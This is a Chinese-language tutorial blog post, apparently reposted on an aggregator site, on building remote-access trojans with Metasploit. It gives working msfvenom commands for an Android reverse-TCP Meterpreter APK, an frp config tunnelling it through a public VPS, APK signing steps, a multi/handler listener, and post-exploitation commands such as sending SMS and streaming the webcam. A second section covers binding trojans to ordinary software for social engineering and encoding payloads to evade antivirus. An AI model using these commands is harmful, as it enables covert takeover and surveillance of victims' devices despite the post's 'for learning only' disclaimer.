Metasploit生成Android木马远控自己的安卓设备

Posted 有点懒的码农

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Metasploit生成Android木马远控自己的安卓设备相关的知识,希望对你有一定的参考价值。

声明,本文实验仅用作学习和测试实验请勿用作他途
我们先用frp工具来实现端口映射,利用处在内网的攻击机kali实现对处在外网的android机器的入侵。

1、内网穿透

实验环境:

  • 目标Android设备
  • 公网vps(centos)
  • 内网攻击机kali

思路:

  • 公网vps运行frp server
  • 本地kali运行frp client
  • 将kali本地端口映射到公网vps

VPS 服务端:

将vps作为frp服务端,执行 ./frps -c ./frps.ini ,服务端的配置 frps.ini 如下:

客户端:

将内网攻击机kali作为frp客户端,客户端的配置 frps.ini 如下:

[common]
server_addr = 118.24.74.203 # 这里是公网vps的ip
server_port = 7000 # 这里的端口要跟服务端的一样
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444 # 将到达frp服务器的数据转发给本地的4444端口
remote_port = 11111 # 服务端的11111端口转发给本地

客户端通过vps的IP和7000监听端口建立连接,把公网的11111端口数据传递给本地的4444端口。配置完,执行 ./frpc -c ./frpc.ini 启动客户端:

2、Metasploit生成木马

用Metasploit生成载有Payload的Android的apk。在Kali Linux里面打开一个新的窗口输入:

msfvenom -p android/meterpreter/reverse_tcp LHOST=39.xxx.xxx.210(vps公网ip)
LPORT=2333(公网) R > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=118.24.74.203 LPORT=11111 R >
/home/kali/shell.apk

3、为apk应用签名(非必须)

我们已经成功创建了Android格式(APK)文件的有效载荷。但是,现在一般Android的移动设备不允许
安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。我们可以使用如下工具
进行手动签名:

Keytool
JARsigner
zipalign

这3个软件,Kali中内置了前2个,第3个需要安装(在新版kali中,JARsigner也需要自己安装apt install
openjdk-11-jdk-headless)

  1. 使用keytool生成一个key文件。
    会让你输入该key的名称、单位、地址等等信息,最终生成一个key文件
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg
RSA -keysize 2048 -validity 10000


上面问你的东西随便填就行,但是要注意,最后不要输入yes要输y,不然会一直询问。
如下图,生成一个key文件:


2. 使用该key文件配合JARsigner为APK签名

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-releasekey.Keystore shell.apk alias_name


3. 然后使用JARsigner验证签名

jarsigner -verify -verbose -certs shell.apk



到此为止,就完成了签名过程,此shell.apk就可以在Android中使用了。

4、开启Metasploit进行监听

使用metasploit监听本地接受数据的端口

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit

然后将载有payload的APK发送到手机上安装并启动,此时,msf上面就可以得到手机的一个session
了:


这里,有的手机得到的session一会儿自动断开,不知道为什么,我自己想了个解决办法是:刚一获得
session就马上执行 webcam_stream 开启远程视频,之后断开视频就可以了,session就稳定了,不会
再断开了,不知道为什么!
在我们获取了目标Android手机的Meterpreter权限之后,我们可以执行如下命令进行后渗透攻击

5、后渗透攻击

查看手机是否root过

check_root


控制目标手机发送短信

send_sms -d 某个手机号码 -t "hello"

在我们获取了目标Android手机的Meterpreter权限之后就可以通过各种命令对被控手机进行各种操作,比如开启摄像头、定位、拍照片啦什么的。命令什么都可以搜到在这里我就不过多展示了感兴趣的自己去了解吧,再说一遍本文实验仅仅用于学习!。

Metasploit 实现木马生成捆绑及免杀

简介: 在渗透测试的过程中,避免不了使用到社会工程学的方式来诱骗对方运行我们的木马或者点击我们准备好的恶意链接。木马的捆绑在社会工程学中是我们经常使用的手段,而为了躲避杀毒软件的查杀,我们又不得不对木马进行免杀处理。本次实验我们将学习如何通过Metasploit的msfvenom命令来生成木马、捆绑木马以及对木马进行免杀处理。木马文件风险高,想要免杀需要用shellter工具捆绑下,但是处理后木马文件还是能被360检测到拦截下来。

实验环境:

Kali Linux

知识点:

msfvenom 如何生成木马 msfvenom 如何捆绑木马到常用软件 msfvenom 如何对木马进行编码免杀

Metasploit介绍

Metasploit是一个可用来发现、验证和利用漏洞的渗透测试平台,目前实验环境中Metasploit的版本是v4.12.23-dev包含了1577个exploits、907个auxiliary、272个post、455个payloads、39个encoders以及8个nops。

其中exploits是漏洞利用模块(也叫渗透攻击模块),auxiliary是辅助模块,post是后渗透攻击模块,payloads是攻击载荷也就是我们常说的shellcode,这里生成的木马其实就是payloads。

在本次试验中我们主要使用的是msfpayload(攻击荷载生成器),msfencoder(编码器)的替代品msfvenom,msfvenom集成了前两者的全部功能,可以生成payload(本节所说的木马)以及对payload编码免杀和避免坏字符、捆绑木马等。在Kali Linux中默认安装了Metasploit framework 我们可以直接使用。

攻击机:Kali Linux 2.0 虚拟机,主机名是 kali,IP 地址为 192.168.122.101,默认用户名和密码为 root/toor。

靶机:Metasploitable2 虚拟机,主机名是 target,IP 地址为 192.168.122.102,默认用户名和密码为 msfadmin/msfadmin。

本次实验我们只用到 Kali linux 虚拟机。

我们先来查看当前环境虚拟机的列表和状态:

因环境中虚拟机太慢,这里采用 docker 容器。进入 kali linux 系统的方式如下:

生成木马

在进行木马生成实验之前我们先来学习一下msfvenom命令的用法。在 Kali linux 下输入如下命令,可以看到msfvenom的命令行选项。

./msfvenom -h

捆绑木马

通常我们生成了木马之后,要运用社会工程学的攻击方式诱骗目标运行我们的木马程序,否则我们的木马只是玩具罢了。

捆绑木马我们还是使用上面提到的msfvenom命令,只不过这里我们要用到一个新的命令行选项-x。我们来看一下-x选项的用法及含义。

-x选项:允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。

将生成的木马当做常用应用程序来捆绑木马。

虽然我们已经准备好了木马程序,并且也捆绑到了常用的应用程序上,但是现在杀毒软件泛滥,不经过免杀就算成功上传到目标主机,估计还没等运行就被杀掉了。这里用msfvenom生成木马同时对payload编码来实现木马的简单免杀。我们先来学习一下我们要用到的命令选项:

-e选项:用来指定要使用的编码器。 -i选项:用来指定对payload编码的次数。 先来看一下都有哪些编码器可用:

这里我们挑选一个免杀效果比较好的编码器x86/shikata_ga_nai,进行编码:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf

总结

从图中我们可以看到完成了对木马的5次编码,这样木马基本上就可以躲避部分杀毒软件的查杀,其实还可以对木马程序进行多次编码,虽然可以提高木马的免杀几率,不过可能会导致木马程序不可用。当然要想免杀效果更好就需要使用Metasploit pro版本或者给木马加壳、修改木马的特征码等等,不过要想躲过全部杀毒软件的查杀则会有些难度,通常会针对某个杀毒软件进行免杀。

原文链接
本文为阿里云原创内容,未经允许不得转载。 

以上是关于Metasploit生成Android木马远控自己的安卓设备的主要内容,如果未能解决你的问题,请参考以下文章

Kali Linux使用Metasploit生成木马入侵安卓系统

Metasploit 之生成木马(msfvenom)

Metasploit 之生成木马(msfvenom)

逆向&编程实战Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控

原创一次远控木马分析